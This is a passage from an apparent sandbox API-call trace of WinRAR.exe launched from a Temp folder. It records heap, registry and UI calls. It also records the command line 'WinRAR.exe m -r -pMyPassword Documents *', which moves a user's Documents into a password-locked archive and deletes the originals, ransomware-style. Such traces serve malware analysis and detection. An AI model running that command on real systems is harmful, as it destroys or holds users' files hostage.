hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306810 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x3157b0 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3157b0 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x306810 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x319950 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319950 | out: hHeap=0x2e0000) returned 1 [0053.110] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x1eec10 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.110] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x305ee0 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x305ee0 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306810 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306810 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0053.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x3157b0 [0053.110] GetLastError () returned 0x5b0 [0053.110] SetLastError (dwErrCode=0x5b0) [0053.110] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1e6100 | out: phkResult=0x1e6100*=0x0) returned 0x2 [0053.110] GetLastError () returned 0x5b0 [0053.110] SetLastError (dwErrCode=0x5b0) [0053.110] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1e68d0 | out: phkResult=0x1e68d0*=0x0) returned 0x2 [0053.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0053.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0053.111] GetSystemDirectoryW (in: lpBuffer=0x1e6e20, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0053.111] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\Crypt32.dll") returned 0x7fefdc00000 [0053.309] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptProtectMemory") returned 0x7fefdc316f8 [0053.309] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptUnprotectMemory") returned 0x7fefdc3171c [0053.309] CryptProtectMemory (in: pDataIn=0x13f2b9670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x13f2b9670) returned 1 [0053.309] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3157b0 | out: hHeap=0x2e0000) returned 1 [0053.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x306810 [0053.309] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x319960 [0053.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x40) returned 0x39bb50 [0053.309] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319960 | out: hHeap=0x2e0000) returned 1 [0053.309] GetFileAttributesW (lpFileName="Documents" (normalized: "c:\\users\\whuoxysd\\documents\\documents")) returned 0xffffffff [0053.309] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1e87e0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents" (normalized: "c:\\users\\whuoxysd\\documents\\documents")) returned 0xffffffff [0053.310] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.310] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1e87b0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.310] GetFileAttributesW (lpFileName="Documents.zip" (normalized: "c:\\users\\whuoxysd\\documents\\documents.zip")) returned 0xffffffff [0053.310] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1e87b0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.zip" (normalized: "c:\\users\\whuoxysd\\documents\\documents.zip")) returned 0xffffffff [0053.310] FindFirstFileW (in: lpFileName="Documents.rar", lpFindFileData=0x1ea890 | out: lpFindFileData=0x1ea890) returned 0xffffffffffffffff [0053.310] GetLastError () returned 0x2 [0053.310] SetLastError (dwErrCode=0x2) [0053.310] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0x1e7a30 | out: phkResult=0x1e7a30*=0x0) returned 0x2 [0053.311] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.311] GetLastError () returned 0x2 [0053.311] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1da830 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.311] GetLastError () returned 0x2 [0053.311] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.311] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1e1050 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.311] SendMessageW (hWnd=0x201d2, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0053.311] GetMenu (hWnd=0x201d2) returned 0x101ff [0053.311] GetSubMenu (hMenu=0x101ff, nPos=4) returned 0x1012b [0053.311] GetSubMenu (hMenu=0x1012b, nPos=5) returned 0x10133 [0053.311] DeleteMenu (hMenu=0x10133, uPosition=0x41a, uFlags=0x0) returned 0 [0053.345] CheckMenuItem (hMenu=0x10133, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0053.345] GetLastError () returned 0x2 [0053.345] SetLastError (dwErrCode=0x2) [0053.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0x1e5b70 | out: phkResult=0x1e5b70*=0x164) returned 0x0 [0053.346] RegQueryValueExW (in: hKey=0x164, lpValueName="ActivePath", lpReserved=0x0, lpType=0x1e5fd4, lpData=0x13f2d047e, lpcbData=0x1e5fd0*=0x1000 | out: lpType=0x1e5fd4*=0x0, lpData=0x13f2d047e*=0x0, lpcbData=0x1e5fd0*=0x1000) returned 0x2 [0053.346] RegCloseKey (hKey=0x164) returned 0x0 [0053.346] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1e6850 | out: phkResult=0x1e6850*=0x0) returned 0x2 [0053.346] SHGetMalloc (in: ppMalloc=0x1e67f0 | out: ppMalloc=0x1e67f0*=0x7fefe535380) returned 0x0 [0053.346] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1e6838 | out: ppidl=0x1e6838) returned 0x0 [0053.346] SHGetPathFromIDListW (in: pidl=0x216b2e0, pszPath=0x1e7ca0 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0053.346] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0053.346] IMalloc:Free (This=0x7fefe535380, pv=0x216b2e0) [0053.346] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.347] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e7ca0, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0053.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x92) returned 0x314860 [0053.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x51d0) returned 0x39cf90 [0053.356] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x1e34f0 | out: lpFindFileData=0x1e34f0) returned 0xffffffffffffffff [0053.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x1e34f0 | out: lpFindFileData=0x1e34f0) returned 0xffffffffffffffff [0053.357] GetLastError () returned 0x3 [0053.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3a2170 [0053.357] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x1e34f0 | out: lpFindFileData=0x1e34f0) returned 0xffffffffffffffff [0053.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x1e34f0 | out: lpFindFileData=0x1e34f0) returned 0xffffffffffffffff [0053.357] GetLastError () returned 0x3 [0053.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a2170 | out: hHeap=0x2e0000) returned 1 [0053.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39cf90 | out: hHeap=0x2e0000) returned 1 [0053.357] DrawMenuBar (hWnd=0x201d2) returned 1 [0053.357] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x46, wParam=0x0, lParam=0x1eb000) returned 0x0 [0053.357] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1eafd0) returned 0x0 [0053.357] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e96d0) returned 0x1 [0053.357] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x47, wParam=0x0, lParam=0x1eb000) returned 0x0 [0053.358] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1ea820) returned 0x1 [0053.358] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1ea960) returned 0x0 [0053.358] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e9060) returned 0x1 [0053.358] CheckMenuItem (hMenu=0x10133, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0053.358] GetLastError () returned 0x0 [0053.358] SetLastError (dwErrCode=0x0) [0053.358] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1e5b68, lpdwDisposition=0x1e5b60 | out: phkResult=0x1e5b68*=0x164, lpdwDisposition=0x1e5b60*=0x2) returned 0x0 [0053.358] RegSetValueExW (in: hKey=0x164, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.359] RegCloseKey (hKey=0x164) returned 0x0 [0053.359] GetLastError () returned 0x0 [0053.359] SetLastError (dwErrCode=0x0) [0053.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1e5b68, lpdwDisposition=0x1e5b60 | out: phkResult=0x1e5b68*=0x164, lpdwDisposition=0x1e5b60*=0x2) returned 0x0 [0053.359] RegSetValueExW (in: hKey=0x164, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.359] RegCloseKey (hKey=0x164) returned 0x0 [0053.359] GetLastError () returned 0x0 [0053.359] SetLastError (dwErrCode=0x0) [0053.359] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.359] GetClientRect (in: hWnd=0x201d2, lpRect=0x1eb4b0 | out: lpRect=0x1eb4b0) returned 1 [0053.359] CreateWindowExW (dwExStyle=0x300, lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x201d2, hMenu=0xb, hInstance=0x13f160000, lpParam=0x0) returned 0x10202 [0053.360] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x55, wParam=0x10202, lParam=0x3) returned 0x2 [0053.360] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.664] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x210, wParam=0xb0001, lParam=0x10202) returned 0x0 [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.664] GetMenu (hWnd=0x201d2) returned 0x101ff [0053.665] GetSubMenu (hMenu=0x101ff, nPos=4) returned 0x1012b [0053.665] GetSubMenu (hMenu=0x1012b, nPos=3) returned 0x1012f [0053.665] CheckMenuItem (hMenu=0x1012f, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0053.665] CheckMenuItem (hMenu=0x1012f, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0053.665] GetWindowLongPtrW (hWnd=0x10202, nIndex=-16) returned 0x44300249 [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaf60 | out: phkResult=0x1eaf60*=0x0) returned 0x2 [0053.665] SendMessageW (hWnd=0x10202, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea6d0 | out: phkResult=0x1ea6d0*=0x0) returned 0x2 [0053.666] SendMessageW (hWnd=0x10202, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0053.666] GetVersionExW (in: lpVersionInformation=0x1eb220*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0x1eb220*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0053.666] SendMessageW (hWnd=0x10202, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.666] GetMenu (hWnd=0x201d2) returned 0x101ff [0053.666] CheckMenuItem (hMenu=0x101ff, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] LoadStringW (in: hInstance=0x13f160000, uID=0x6e, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0053.667] SendMessageW (hWnd=0x10202, Msg=0x1061, wParam=0x0, lParam=0x1eb380) returned 0x0 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] GetLastError () returned 0x0 [0053.667] SetLastError (dwErrCode=0x0) [0053.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.667] LoadStringW (in: hInstance=0x13f160000, uID=0x6f, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0053.667] SendMessageW (hWnd=0x10202, Msg=0x1061, wParam=0x1, lParam=0x1eb380) returned 0x1 [0053.667] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] LoadStringW (in: hInstance=0x13f160000, uID=0x70, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0053.668] SendMessageW (hWnd=0x10202, Msg=0x1061, wParam=0x2, lParam=0x1eb380) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: 